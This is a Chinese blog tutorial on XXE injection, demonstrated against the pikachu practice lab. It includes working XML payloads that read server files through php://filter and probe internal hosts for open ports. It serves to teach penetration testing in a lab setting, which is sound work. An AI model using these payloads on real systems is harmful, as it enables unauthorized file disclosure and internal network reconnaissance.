XXE漏洞详解(三)——XXE漏洞实际运用

简介: XXE漏洞详解(三)——XXE漏洞实际运用

今天继续给大家介绍渗透测试相关知识,本文主要内容是XXE漏洞详解(三)——XXE漏洞实际运用。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、XXE漏洞简介
XXE漏洞是External Entiry Injection,即XML外部实体注入漏洞。XXE漏洞主要是发生在应用程序解析XML输入时,没有禁止加载外部实体,从而导致任意文件读取、系统命令执行、内网端口探测等危害。

二、XXE漏洞pikachu靶场介绍
pikachu靶场XXE漏洞如下所示:

我们简单输入一个XML格式的数据:

asd
1
提交后如下所示:

从上图中可以看出,该靶场可以解析我们输入的XML格式的数据,并显示在页面上。
我们查看页面PHP源代码如下所示:

在该代码中,使用了simplexml_load_string()函数,这个函数的作用就是输入一个符合XML格式的数据,然后将该数据转化为一个XML对象实体,然后返回这个实体的键和值。

三、XXE漏洞pikachu靶场实战
最后,我们针对pikachu靶场,利用XXE漏洞,来进行实战演练。

(一)利用XXE漏洞读取文件
XXE漏洞读取文件EXP构造如下所示:

<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=xxe_1.php">
]>

&xxe;
1
2
3
4
我们将该exp写入到api的输入框中并提交,结果如下所示:

从上图中可以看出,我们能够利用该exp实现指定文件读取。

(二)利用XXE漏洞进行内网探测
同样的,我们也可以稍微修改上述exp,使得请求的文件是内网文件,借此实现内网探测的目的。exp如下所示:

<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.136.1">
]>

&xxe;
1
2
3
4
如果内网指定IP地址存在并开放了80端口,则上述exp正常返回如下所示:

而如果该IP地址不存在,或者没有开放80端口,那么上述页面会刷新一段时间,并且最后返回失败。
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200
————————————————

                        版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

原文链接:https://blog.csdn.net/weixin_40228200/article/details/128412998

目录
相关文章
|
7月前
|
存储 安全 JavaScript
26、XSS漏洞介绍
26、XSS漏洞介绍
64 0
|
SQL 安全 关系型数据库
SQL注入漏洞实战演习
SQL注入漏洞实战演习
170 0
|
1月前
|
安全 网络安全 数据安全/隐私保护
XSS 漏洞可能会带来哪些危害?
【10月更文挑战第26天】XSS漏洞可能会给网站和用户带来诸多严重危害
|
3月前
|
安全 JavaScript 前端开发
XSS漏洞的危害
XSS漏洞的危害
61 1
|
3月前
|
XML JSON 安全
Web安全-XXE漏洞
Web安全-XXE漏洞
34 1
|
3月前
|
编解码 安全 生物认证
|
3月前
|
存储 安全 JavaScript
Web安全-XSS漏洞
Web安全-XSS漏洞
35 0
|
安全 JavaScript 前端开发
|
安全 前端开发 应用服务中间件
|
XML 供应链 安全
Apache Jena XXE漏洞(CVE-2022-28890)
Apache Jena XXE漏洞(CVE-2022-28890)